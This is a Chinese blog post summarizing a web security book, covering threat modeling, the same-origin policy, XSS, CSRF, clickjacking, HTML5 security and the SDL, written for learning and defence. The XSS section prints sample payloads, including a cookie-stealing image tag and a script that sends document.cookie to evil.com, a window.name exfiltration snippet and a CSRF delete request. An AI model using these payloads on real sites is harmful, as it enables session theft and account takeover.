《白帽子讲Web安全》阅读摘要

安全是一门朴素的学问，也是一种平衡的艺术。

如同开发者会遇到的挑战一样，有很多问题，不放到一个海量用户的环境下，是难以暴露出来的。由于量变引起质变，所以管理10台服务器，和管理1万台服务器的方法肯定会有所区别；同样的，评估10名工程师的代码安全，和评估1000名工程师的代码安全，方法肯定也要有所不同。

安全工程师的核心竞争力不在于他能拥有多少个 0day，掌握多少种安全技术，而是在于他对安全理解的深度，以及由此引申的看待安全问题的角度和高度。

互联网公司的最大特色和法宝。安全是一个动态的过程，因为敌方攻击手段在变，攻击方法在变，漏洞不断出现;我方业务在变，软件在变，人员在变，妄图通过一个系统、一个方案解决所有的问题是不现实的，也是不可能的，安全需要不断地运营、持续地优化。

最大的漏洞是人。写得再好的程序，在有人参与的情况下，就可能会出现各种各样不可预知的情况，比如管理员的密码有可能泄露，程序员有可能关掉了安全的配置参数，等等。安全问题往往发生在一些意想不到的地方。

1. 安全世界观

安全三要素是安全的基本组成元素，分别是机密性(Confdentiality)、完整性 (Integrity)、可用性(Availability)。

1. 机密性要求保护数据内容不能泄露，加密是实现机密性要求的常见手段。
2. 完整性则要求保护数据内容是完整、没有被篡改的。常见的保证一致性的技术手段是数字签名。
3. 可用性要求保护资源是“随需而得”。

安全评估

安全评估可以简单地分为4个阶段：资产等级划分、威胁分析、风险分析、确认解决方案。

资产等级划分是所有工作的基础，帮助我们明确目标是什么，要保护什么。

安全的问题本质在于信任问题。被划分出来的具有不同信任级别的区域，我们称为信任域，划分两个不同信任域之间的边界，我们称为信任边界。

数据从高等级的信任域流向低等级的信任域，是不需要经过安全检查的;数据从低等级的信任域流向高等级的信任域，则需要经过信任边界的安全检查。

在实际中会遇到比这复杂许多的情况,比如同样是两个应用，互相之间存在数据交互业务，那么就要考虑这里的数据交互对于各自应用来说是否是可信的，是否应该在两个应用之间划一个边界，然后对流经边界的数据做安全检查。

威胁分析就是把所有的威胁都找出来。怎么找?一般是采用头脑风暴法。当然，也有一些比较科学的方法，比如使用一个模型，帮助我们去想，在哪些方面有可能会存在威胁，这个过程能够避免遗漏，这就是威胁建模。

在本书中介绍一种威胁建模的方法，它最早是由微软提出的，叫做 STRIDE 模型。我们在分析威胁时，可以从以下6个方面去考虑。

风险分析，Risk = Probability Damage Potential ，风险 = 可能性 损失程度

如何更科学地衡量风险呢?这里再介绍一个 DREAD 模型，它也是由微软提出，指导我们应该从哪些方面去判断一个威胁的风险程度。

安全解决方案是安全评估的产出物。解决方案一定要有针对性，这种针对性是由资产等级划分、威胁分析、风险分析等阶段的结果给出的。

没有不安全的业务，只有不安全的实现方式。

那么什么是一个好的安全方案呢：

1. 产品需求，尤其是商业需求，是用户真正想要的东西，是业务的意义所在，在设计安全方案时应该尽可能地不要改变商业需求的初衷。
2. 安全方案必须能够有效抵抗威胁，但同时不能过多干涉正常的业务流程，在性能上也不能拖后腿。
3. 好的安全方案对用户应该是透明的，尽可能地不要改变用户的使用习惯。
4. 好的安全产品或模块除了要兼顾用户体验外，还要易于持续改进。一个好的安全模块，同时也应该是一个优秀的程序，从设计上也需要做到高聚合、低耦合、易于扩展。

白帽子兵法

1. 黑名单 & 白名单：设置信任和不信任的来源。
2. 最小权限原则：只授予主体必要的权限，而不要过度授权，这样能有效地减少系统、网络、应用、数据库出错的机会。
3. 纵深防御原则：包含两层含义：首先，要在各个不同层面、不同方面实施安全方案，避免出现疏漏，不同安全方案之间需要相互配合，构成一个整体。其次，要在正确的地方做正确的事情，即：在解决根本问题的地方实施针对性的安全方案。
4. 数据与代码分离原则：广泛适用于各种由于“注入”而引发安全问题的场景。混淆了数据和代码的边界，导致安全问题的发生。
5. 不可预测性原则：从克服攻击方法的角度，让漏洞的攻击方法失效。使得攻击者无法容易的猜到期望值，从而提高攻击门槛。

2. 浏览器安全

同源策略

同源策略是浏览器安全的基础，它限制了来自不同源的“document”或脚本，对当前“document”读取或设置某些属性。

为了不让浏览器的页面行为发生混乱，浏览器提出了“Origin”(源)这一概念，来自不同源的对象无法互相干扰。

在浏览器中，<script>、<img>、<iframe>、<link> 等标签都可以不受同源策略的限制跨域加载资源，这些带 src 属性的标签每次加载时，实际上是由浏览器发起了一次 GET 请求。不同于 XHR 的是，通过标签的 src 属性加载的资源，浏览器限制了 JS 的权限，使其不能读、写返回的内容。

对于 XHR 来说，它可以访问来自同源对象的内容。但 XHR 受到同源策略的约束，不能跨域访问资源。如果 XHR 能够跨域访问资源，则可能会导致一些敏感数据泄露，比如 CSRF 的 token，从而导致发生安全问题。

XHR 跨域访问需要通过目标域返回的 HTTP 头来授权是否允许跨域访问，因为 HTTP 头对于浏览器中的 JS 来说一般是无法控制的，所以认为这个方案可以实施。

浏览器沙箱

Chrome 是第一个采取多进程架构的浏览器，Chrome 的主要进程分为：浏览器进程、渲染进程、插件进程、扩展进程。插件进程如 flash、java、pdf 等与浏览器进程严格隔离，因此不会互相影响。

浏览器的多进程架构将浏览器的各个功能模块分开，各个浏览器实例分开，当一个进程崩溃时，也不会影响到其他的进程。

渲染引擎由 Sandbox 隔离，网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPCchannel，在其中会进行一些安全检查。

Sandbox 设计是为了让不可信任的代码运行在一定的环境中，限制不可信任的代码访问隔离区之外的资源。Sandbox需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求，可以采用默认拒绝的策略，如果一定要跨越 Sandbox 边界产生数据交换，则只能通过指定的数据通道，比如经过封装的 API 来完成，在这些 API 中会严格检查请求的合法性。

Sandbox 可以让不受信任的网页代码、JS 代码运行在一个受到限制的环境中，从而保护本地桌面系统的安全。

恶意网址拦截

恶意网址拦截是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单，如果用户上网时访问的网址存在于此黑名单中，浏览器就会弹出一个警告页面。

3. 跨站脚本攻击 XSS

跨站脚本攻击（Cross Site Script，XSS）指通过「HTML注入」篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。

XSS 的本质是一种 HTML 注入，用户的数据被当成了 HTML 代码一部分来执行，从而混淆了原本的语义，产生了新的语义。

XSS 的分类

针对各种不同场景产生的 XSS，需要区分情景对待。XSS 根据效果不同分为：

1. 反射型 XSS
   反射型 XSS 只是简单地把用户输入的数据「反射」给浏览器。黑客往往需要诱使用户点击一个恶意链接，才能攻击成功。
2. 存储型 XSS
   存储型 XSS 会把用户输入的数据「存储」在服务器端。比如写一篇包含有恶意 JS 代码的文章，所有访问该文章的用户，都会在他们的浏览器中执行这段恶意的代码。这样的漏洞极其隐蔽，且埋伏在用户的正常业务中，风险颇高。
3. DOM Based XSS
   通过修改页面的DOM节点形成的XSS。

存储型 XSS 的风险会高于反射型 XSS，因为存储型 XSS 会保存在服务器上，跨页面存在。

反射型 XSS 的例子：一个页面把用户输入的参数直接输出到页面上，那么用户就可能提交一段 HTML 代码，这个代码将直接在页面执行。我们可以利用这个漏洞盗取访问该页面的任何人的 Cookie，甚至是管理员的，比如输入 <img src="http://evil.com/log?"+escape(document.cookie) />。

存储型 XSS 的例子：一个带留言板的网页，如果没有对用户输入进行过滤和转译的话，攻击者在留言板留言 <script>alert('XSS')</script> 以后其他用户在进入这个页面时就会获取并执行这个脚本。

DOM Based XSS 的例子：

<script>
function test(){
  var str = document.getElementById("text").value;
  document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

用户可以输入这样一个字段 ' onclick=alert(/xss/) // ，这个字段首先用一个单引号闭合掉 href 的第一个单引号，然后插入一个 onclick 事件，最后再用注释符 // 注释掉第二个单引号。点击这个新生成的链接，脚本将被执行。

点击这里查看效果。

也可以直接闭合掉 a 标签，插入一个新的 Script 标签 ><img src=# onerror=alert(/xss2/) />< 这样也可以执行脚本。

XSS 攻击

在前面的 XSS 攻击奏效之后，可以做的事就多了

1. Cookie 窃取：Cookie 中一般加密保存了当前用户的登录凭证。获取 Cookie 后，攻击者可以不通过密码，直接登录进用户的账户。
   可以加载一个远程脚本 <script src=http://evil.com/evil.js/>，在这个脚本中发送 document.cookie 给远程，比如插入一个图片，图片的 src 是 "http://evil.com/log?"+escape(document.cookie)
2. 伪造 Get/Post 请求：可以通过模拟发送 Get/Post 请求来对页面进行操作。
   Get 方式比较简单，使用插入图片的方式发起请求。
   Post 请求可以采用构建表单，然后自动提交表单 form.submit()，也可以直接通过 XHR 发送。
3. XSS 钓鱼：攻击者可以将 XSS 与钓鱼相结合来窃取密码。
   比如用 JS 在当前页面上画出一个伪造的登录框，当用户在登录框中输入用户名与密码后，其密码将被发送至黑客的服务器上。

4. 获取用户信息：

   1. 通过获取 navigator.userAgent 或者浏览器版本之间独特的差异，来获取浏览器版本信息，可以实施精准的浏览器内存攻击。
   2. 知道了用户使用的浏览器、操作系统后，通过判断用户安装的软件，选择对应的浏览器漏洞，达到植入木马的目的。
   3. 通过 CSS 样式的 visited 属性，可以判断用户是否曾经访问某个链接。
   4. 借助第三方软件或者浏览器控件，可以获取到本地 IP 地址。

<base> 标签的使用

<base> 标签是文档根 URL 元素，可以出现在页面的任何地方，并作用于位于该标签之后的所有标签。

比如页面打开一张不存在的图片 <img src="/images/logo.png"/> 这个图片会加载失败，如果在这个 img 标签前加上 <base> 标签 <base href="http://www.google.com" /> 那么这个图片将从这个指定的 URL 加载，即 http://www.google.com/images/logo.png 这个地址加载资源。

攻击者如果在页面中插入 <base> 标签，就可以通过在远程服务器上伪造图片、链接或脚本，劫持当前页面中的所有使用相对路径，包括所有使用 src 和 href 属性索引资源的标签。

window.name 的使用

window.name 对象是一个很神奇的东西，对当前窗口的 window.name 对象赋值，没有特殊字符的限制。因为 window 对象是浏览器的窗体，而并非 document 对象，因此很多时候 window 对象不受同源策略的限制，因此可以实现跨域、跨页面传递数据。

比如在一个被 XSS 攻击的页面中，获取到信息赋给 window.name，然后立即跳转到另一个网站。

window.name = "test~ User Cookie is: " + document.cookie;
alert(document.domain + " " + window.name);
window.location = "http://www.google.com/";

在另一个网站中即可获取到上一页面的信息

console.log(window.name);
// test~ User Cookie is: ...

XSS 防御

1. Cookie 的 HttpOnly 标识

如果给 Cookie 设置了 HttpOnly 那么通过 JS 就无法读取到 Cookie。HttpOnly 可以有选择性地加在任何一个 Cookie 值上，可以仅把 HttpOnly 标记给用于认证的关键 Cookie。

HttpOnly 解决的是 XSS 后的 Cookie 劫持攻击。

2. 输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符，如 <、>、'、" 等。如果发现存在特殊字符，则将这些字符过滤或者编码。

这种做法类似于白名单，可以让一些基于特殊字符的攻击失效。

输入检查的逻辑，必须放在服务器端代码中实现。如果只是在客户端使用 JS 进行输入检查，是很容易被攻击者绕过的，普遍做法是同时在客户端 JS 代码和服务器端代码中实现相同的输入检查。客户端输入检查，可以阻挡大部分误操作的正常用户，从而节约服务器资源。

比较智能的输入检查，还会匹配 XSS 的特征。比如查找用户数据中是否包含了 <script>、javascript 等敏感字符。

3. 输出检查

除了富文本的输出外，在变量输出到 HTML 页面时，可以使用编码或转义的方式来防御 XSS 攻击。编码方式 HtmlEncode 要求将一些常用的特殊字符进行转译，比如 & 转化为 &、< 转化为 <、/ 转化为 / 等。

4. CSS Expression

在 IE5-8 的时代，有过一个 CSS 表达式 （CSS Expression）解决方案，可以在 CSS 里面写 JS，给 CSS 属性赋一个表达式，当时用来做很多 hack 方案，但是作为一个 Web 时代临时的解决方案也有它的弊端

1. 不符合 Web 标准，CSS 表达式这种在样式中插入 JS 代码的方式，有悖于 Web 标准的结构、表现、行为相分离的理念。
2. 效率低下，一个 CSS 表达式会反复执行，这会大大消耗计算机的硬件资源，极端情况下会导致浏览器的崩溃。
3. 带来安全隐患，CSS 表达式暴露了一个脚本执行的上下文，可能带来脚本注入的隐患。比如以前就能在 background 里面执行 JS 代码，进而为 XSS 提供了途径。
   比如： background: url(javascript:alert("XSS!"));

最近的 CSS Houdini 跟这个 CSS Expression 有点类似，在浏览器正式上线后可以关注一下。

4. 跨站请求伪造 CSRF

跨站点请求伪造（Cross Site Request Forgery，CSRF）

攻击者首先在一个网页中添加一个图片 <img src="http://blogs.com/blog/remove?id=123">，这个 src 是指向了删除一个博客网站中某博客的链接，用户访问这个网页，这个图片加载时博客网站的这个博客就会被删除。

CSRF 防御

1. 验证码

CSRF 攻击的过程，往往是在用户不知情的情况下构造了网络请求。而验证码强制用户必须与应用进行交互，才能完成最终请求。因此在通常情况下，验证码能够很好地遏制 CSRF 攻击。

但很多时候，出于用户体验考虑，网站不能给所有的操作都加上验证码。因此，验证码只能作为防御CSRF的一种辅助手段，而不能作为最主要的解决方案。

2. 检查 HTTP 请求的 Referer 头

检查 Referer 头经常被用来作为图片防盗链的手段，也可以被用来检查请求是否来自合法的源。

如果用户请求的 Referer 值不是这个页面，甚至不是发帖网站的域，则极有可能是 CSRF 攻击。

但并不是任何时候服务器都能获取到 Referer 值，以下情况就可能无法获取

1. 从 HTTPS 跳转 HTTP 时；
2. 用户在地址栏输入网址；
3. 选中浏览器书签；
4. 在 <a>、<area> 或者 <link> 元素上将 rel 属性设置为 noreferrer 也不会发送 Referer ， <a href="http://example.com" rel="noreferrer">，这是 HTML5 为了保护敏感信息和隐私设置的，因为通过 Referer 可能会泄露一些敏感信息。
5. 退出页面重定向方式，谷歌和 Facebook 都在使用这种方法，链接的时候，不直接跳转，而是通过一个重定向网址来跳转。
   知乎也是这样做的，知乎中的文章 a 标签链接一般是这样的 https://link.zhihu.com/?target=https%3A//tieba.baidu.com/p/3746839672
   先跳转到 https://link.zhihu.com/，然后再跳转到目标网址。这时，Referer 字段就不会包含原始网址，打开 Devtools 可以看到的 Doc 请求不包含 Referer 字段。
   如果网页中有个 href 直接是目标网址的链接 <a href="https://tieba.baidu.com/p/3746839672">文章</a>，此时点击跳转，请求的 Doc 会包含 Referer 字段。

3. 增加 Token

CSRF 能够攻击成功，本质原因是重要操作的所有参数都是可以被攻击者猜测到的。如果增加一个随机的不可预测的参数，那么将大大增加被 CSRF 的难度，这就是引入 Token 的原因。

在使用 Token 时，应该尽量把 Token 放在表单中。把敏感操作由 GET 改为 POST ，以 form 表单或 AJAX 的形式提交，以避免 Token 泄露。

防御 CSRF 的 Token，是根据不可预测性原则设计的方案，所以 Token 的生成一定要足够随机，需要使用安全的随机数生成器生成 Token。用户提交表单后，对比用户提交的 Token 与当前用户 Session 中的 Token 是否一致。

5. 点击劫持

CSRF 可以在用户不知不觉中完成攻击。但在需要与用户进行交互的场景中，攻击操作是无法进行的，比如如果需要验证码的话。但是，点击劫持使用户在不知不觉中完成交互过程。

点击劫持是一种视觉上的欺骗手段，通过用一个覆盖物遮挡住用户想要点击的地方，诱使用户进行点击。点击劫持攻击与 CSRF 类似，都是在用户不知情的情况下诱使用户完成一些动作。

CSRF 攻击的过程中，如果出现用户交互的页面，则攻击可能会无法顺利完成。但点击劫持没有这个顾虑，它利用的就是与用户产生交互的页面。

1. 覆盖劫持：使用 iframe 或图片的方式覆盖用户要点的位置；
2. 拖拽劫持：诱使用户从隐藏的不可见元素中拖拽出攻击者希望得到的数据，放到攻击者能控制的地方，从而窃取数据。
3. 触屏劫持：劫持移动端用户的触屏操作，很多手机浏览器为了节约空间，会隐藏地址栏，有些攻击手段在手机浏览器上画一个伪装的地址栏，从而获取用户输入，进行后续的欺骗。

点击劫持的防御手段：

1. 禁止 ifame 嵌套：可以通过判断当前网页的 location 是否是最顶级，来排除 iframe 的嵌套

   if (top.location !== location) {
     top.location = self.location
   }

但这种办法可以通过嵌套多个 iframe 的方式绕过，或者通过限制 iframe 页面中 JS 脚本执行的方式来绕过。

1. 使用 X-Frame-Options 头：使用 HTTP 的 X-Frame-Options 头可以控制浏览器加载 frame 页面的行为，有三个值可以设置

   1. deny，当前页面也不允许在 frame 中展示，即使在相同域名的页面中嵌套也不允许；
   2. sameorigin，该页面可以在相同域名页面的 frame 中展示；
   3. allow-from uri，该页面可以在指定来源的 frame 中展示。

比如我们看到 SegmentFault 的页面就使用了这个 HTTP 头来作为点击劫持的防御手段

6. HTML5 安全

HTML5 中为 iframe 提供了一个属性 sandbox，这个属性可以通过参数来对 iframe 中的内容启用进行更进去的控制，比如是否允许提交表单、是否允许执行脚本、是否允许访问顶层窗口、是否允许同源访问、是否允许弹框等等，从而极大增强应用使用 iframe 的安全性。

postMessage 允许浏览器的 window（包括窗口、弹出窗口、iframes 等）对象往其他窗口发送文本消息，实现跨窗口的消息传递，这个功能是不受同源策略限制的。使用时有两个安全问题需要注意：

1. 可在接收窗口验证 Domain、URL、origin、source，以防止来自非法页面的消息。这实际上是在代码中实现一次同源策略的验证过程。
2. 接受的消息不应信任，要注意进行安全检查，不能直接写入 innerHTML 或者 Script 中，以防止 DOM based XSS 的产生。

7. 互联网业务安全

当一个产品功能有缺陷、用户体验极差，甚至是整天宕机的时候，是谈不上安全性的，因为产品本身可能都已经无法存在下去了。但是当一个产品其他方面都做得很好的时候，安全有可能会成为产品的一种核心竞争力，成为拉开产品与竞争对手之间差距的秘密武器。只有安全也做得好的产品，才能成为真正的好产品。

搜索结果是否安全，对网民来说是很重要的，因为搜索引是互联网最重要的一个门户。曾经发生的一些欺诈案件中，钓鱼网站公然出现在搜索结果中，导致很多用户上当受骗。

安全是产品的一种特性，如果我们的产品能够潜移默化地培养用户的安全习惯，将用户往更安全的行为上引导，那么这样的安全就是最理想的产品安全。

一个优秀的安全方案，应该具有两个条件：

1. 良好的用户体验；
2. 优秀的性能。

可以使安全用的解决方案：

1. 双重认证方案：比如网银的 U 盾、银行的动态密码、游戏的令牌、客户端证书、手机短信验证码等，在用户名和密码之外又做了一次验证。
   但双重验证相应的也会降低用户体验，因为用户使用起来更麻烦了，所以要慎重使用，只使用在安全要求非常高的场景，比如支付。
2. 增加密码复杂度：比如要求密码必须要有 16 位，需要为数字、大小写字母、特殊字符等不同组合，以增加暴力破解的难度，给服务器设置登录密码时通常会有这样的要求。
3. 密码暴力破解检测：暴力破解一般具有段时间、高频率的特征，可以检査一个账户在一段时间内的登录失败次数，或某一个 IP 地址在一段时间内的登录行为次数。这些行为都是比较明显的暴力破解特征。暴力破解往往还借助了脚本或者扫描器，那么在检测到此类行为后，增加验证码环节，可以有效地减少暴力破解攻击风险。
   攻击者为了躲避安全检测，常常会使用来自傀儡机或代理服务器的多个 IP 来进行登录尝试，但如果攻击达到了一定规模，那么最终单个 IP 还是会发起多次网络请求，当发现某 IP 存在恶意行为后，对 IP 地址的行为历史记录进行追溯。
4. 防止密码包含个人信息：如果发现用户使用了生日、用户名、电话号码、邮件地址之类的个人信息作为密码，应立即进行提示。

业务逻辑安全

1. 例子 1：两套系统 A 和 B 的账户密码是一一对应的绑定关系，A 系统密码修改后应该同步到 B 系统，但这时如果系统密码被盗，用户修改系统 A 的密码之后，如果密码没有同步到 B 系统或者同步失败，那么攻击者仍然可以通过登录 B 系统来把 A 系统登录状态挤掉，或者把密码又给改掉。
2. 例子 2：某系统设置了账户登录失败 5 次就冻结账户一小时，那么攻击者就可以通过不断尝试登录账户，从而使账户一直处于冻结状态。在竞拍场景中，攻击者可以通过攻击其他所有用户的账户以很低的价格竞拍到商品。
3. 例子 3：修改密码流程是一个高风险流程，比如用户通过 Cookie 劫持获取了用户登录状态，此时攻击者是不知道用户的密码的，如果修改密码不需要提供原密码，那么攻击者盗取了 Cookie 获取登录状态之后就可以修改密码了。所以现在在敏感操作前需要再次验证用户的身份，比如苹果的 MacOS、iOS 在敏感操作时，就需要用户输入 iCloud 密码或者验证指纹。
   相应的，密码取回流程也是一个高风险高难度的安全问题。

4. 例子 4：回归到 QQ 被盗的情况，用户账户被盗可能有多种可能

   1. 网站登录过程非 HTTPS，密码在通信中被嗅探；
   2. 用户电脑中了木马，密码被键盘记录软件获取；
   3. 用户被钓鱼网站所迷惑，密码被钓鱼网站所骗取；
   4. 网站某登录入口可以被暴力破解；
   5. 网站密码取回流程存在逻辑漏洞；
   6. 网站存在XSS等客户端脚本漏洞，用户账户被间接窃取；
   7. 网站存在SQL注入等服务器端漏洞，网站被黑客入侵导致用户账户信息泄露。

   用户登录的密码也是高度相似的，比如 123456、666666、qwerty、abc123 等，只要挨个尝试这些简单的密码组合就能暴力破解很多用户的密码。

   另外，过往网站的数据库被盗导致的用户数据流失，如果数据库中的密码是明文保存，或者是没有加盐的哈希值，可能导致攻击者根据这些密码来尝试同一个用户的不同网站，因为大部分用户都习惯于使用同一个密码登录不同网站。

5. 例子 5：钓鱼网站，比如做一个假的淘宝网，就可能诱导用户进行支付，或者盗取用户真正的淘宝密码，或者盗取网银密码。

8. 安全开发流程 SDL

安全开发生命周期 SDL（Security Development Lifecycle），由微软最早提出，是帮助解决软件安全问题的办法，在开发的所有阶段都引入了安全和隐私的原则。

SDL 的大致步骤如下:

1. 培训：核心安全培训
2. 要求：确定安全要求，创建质量门/错误标尺，安全和隐私风险评估
3. 设计：确定设计要求，分析攻击面，威胁建模
4. 实施：使用批准的工具，弃用不安全的函数，静态分析
5. 验证：动态分析，模糊测试，攻击面评析
6. 发布：事件响应计划，最终安全评析发布存档
7. 响应：执行事件响应计划

SDL 实战经验：

1. 与项目经理进行充分沟通，排出足够的时间；
2. 规范公司的立项流程，确保所有项目都能通知到安全团队，避免遗漏；
3. 树立安全部门的权威，项目必须由安全部门审核完成后才能发布；
4. 将技术方案写入开发、测试的工作手册中；
5. 给工程师培训安全方案；
6. 记录所有的安全 bug，激励程序员编写安全的代码；

---

网上的帖子大多深浅不一，甚至有些前后矛盾，在下的文章都是学习过程中的总结，如果发现错误，欢迎留言指出，如果本文帮助到了你，别忘了点赞支持一下哦，你的点赞是我更新的最大动力！（收藏不点赞，都是耍流氓 ??）~

参考文档：

1. 白帽子讲Web安全

PS：本文收录在在下的博客 Github - SHERlocked93/blog 系列文章中，欢迎大家关注我的公众号 前端下午茶，直接搜索即可添加或者点这里添加，持续为大家推送前端以及前端周边相关优质技术文，共同进步，一起加油~

另外可以加入「前端下午茶交流群」微信群，微信搜索 sherlocked_93 加我好友，备注加群，我拉你入群～

本文转自网络，版权归原作者所有，原文链接：https://segmentfault.com/a/1190000039906667
本站部分内容转载于网络，版权归原作者所有，转载之目的在于传播更多优秀技术内容，如有侵权请联系QQ/微信：153890879删除，谢谢！